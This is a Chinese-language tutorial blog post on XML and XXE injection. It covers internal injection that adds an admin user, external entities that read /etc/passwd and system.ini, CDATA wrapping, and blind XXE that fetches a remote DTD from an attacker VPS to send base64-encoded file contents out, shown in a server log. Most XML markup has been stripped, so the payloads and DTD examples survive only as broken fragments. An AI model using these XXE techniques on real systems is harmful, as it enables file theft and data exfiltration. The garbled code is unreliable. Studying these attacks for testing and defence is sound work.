生如夏花之绚烂,死如秋叶之静美。
—— 泰戈尔 《生如夏花》
0
1
XML基础
XML
首先要先说下 xml。xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种写法类似于 html 语言的数据格式文档。但是 xml 跟 html 是为不同目的而设计的,html 旨在显示数据信息,而 xml 旨在传输数据信息。
而且xml的标签是自己自定义,且标签一定要闭合,语法比html严格(毕竟html可以各种不闭合,较为宽松)
dtd
document type definition DTD 中定义元素(其实就是对应 XML 中的标签) 在 DTD 中定义实体(对应XML 标签中的内容),毕竟XML 中除了能标签以外,还需要有些内容是固定的
它长这个样子
<?xml version="1.0"?>//这一行是 XML 文档定义
//定义是一个message类型的文档
//定义message元素有receiver ,sender ,header ,msg元素
定义 receiver 元素为 "#PCDATA" 类型
这个样子定义完了dtd后,写的xml内容就必须得是这个样子了
Myself
Someone
TheReminder
This is an amazing book
实体呢?重要的实体呢
来了
//实体 相当于一个变量吧
]>
在文档中就该如此声明
//根元素
0
3
XML内部注入
这是一个相当鸡肋的漏洞,我们的目标以及注意力应该是外部注入,而不是这个
用户输入
root
比如上面这个,用户输入的一个标签,但是假如攻击者能够新增、闭合前面的标签的话,输入了下面的payload
adminhacker
就变成了
admin
hacker
root
这样改变了xml的结构了,可能就会造成其他后果,比如添加了个hacker的管理员
引用先知的一张图:
0
4
靶场代码
来查看一个内部的注入
0
5
XML实体分类
1. 内置实体 (Built-in entities) 貌似没啥关系
2. 字符实体 (Character entities) 貌似没啥关系
3. 通用实体 (General entities) 着重了解
4. 参数实体 (Parameter entities) 着重了解
通用实体就是刚刚内部实体注入展示的那种
]>
而参数实体则是这种(XXE盲注的主力军)
"> %an-element; %remote-dtd;
区别则是多了个%(并且**只能在 dtd 中使用`% 实体名`**)
参数实体也可以外部引用 dtd。所以这里的重点就是**参数实体只能在 dtd 中使用,引用。**
0
6
DTD 实体的相关语法
DTD 有两种构建方式,分别为内部 DTD 声明和外部 DTD 引用。
内部 DTD 声明:
外部 DTD 引用:
DTD 实体同样有两种构建方式,分别为内部实体声明和外部实体声明。
内部实体声明:
外部实体声明:
外部实体示例:
]>
&xxe;
上述代码中,XML 的外部实体 `“xxe”` 被赋予的值为:`file:///etc/passwd`
当解析 xml 文档时,xxe 会被替换为 `file:///etc/passwd` 的内容。
0
7
XML外部实体注入
有回显的注入
实践演示一下:
读取system.ini文件
]>
&xxe;test
初阶的利用就这样,但是这样读取文件的话如果碰到有特殊字符,则会错误,读取不了,具体的特殊字符为:
比如直接读取的话带有这些特殊字符的话
当然我们也可以使用CDATA忽略解析文本数据
构造的payload如下
">
//vps的dtd地址
%dtd; ]>
&all;test
无回显的注入
%remote;
%send;
]>
3.dtd内容
">
%start;
在 3.dtd中,之所以要把“%”转成 html 实体编码是因为在实体的值中不能有“%”,所以也就只能转成`%`了。
我们现在有回显的靶场看看
发现虽然报错了,但是有一条记录值得我们关注
由于之前我们用了base64编码(防止解析不了)
在没回显的我们该怎么看呢?
可以查看中间件的日志文件
127.0.0.1 - - [26/Mar/2020:22:43:43+0800] "GET /?CjExMTEKMTExMQoKPD4iIiY= HTTP/1.0" 403 169 "-" "-"
127.0.0.1 - - [26/Mar/2020:22:43:43+0800] "POST /noteb/vul/xxe/xxe1/doLogin.php HTTP/1.1" 200 450 "http://127.0.0.1/noteb/vul/xxe/xxe2/index.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"
0
8
后续
其他利用方式待更新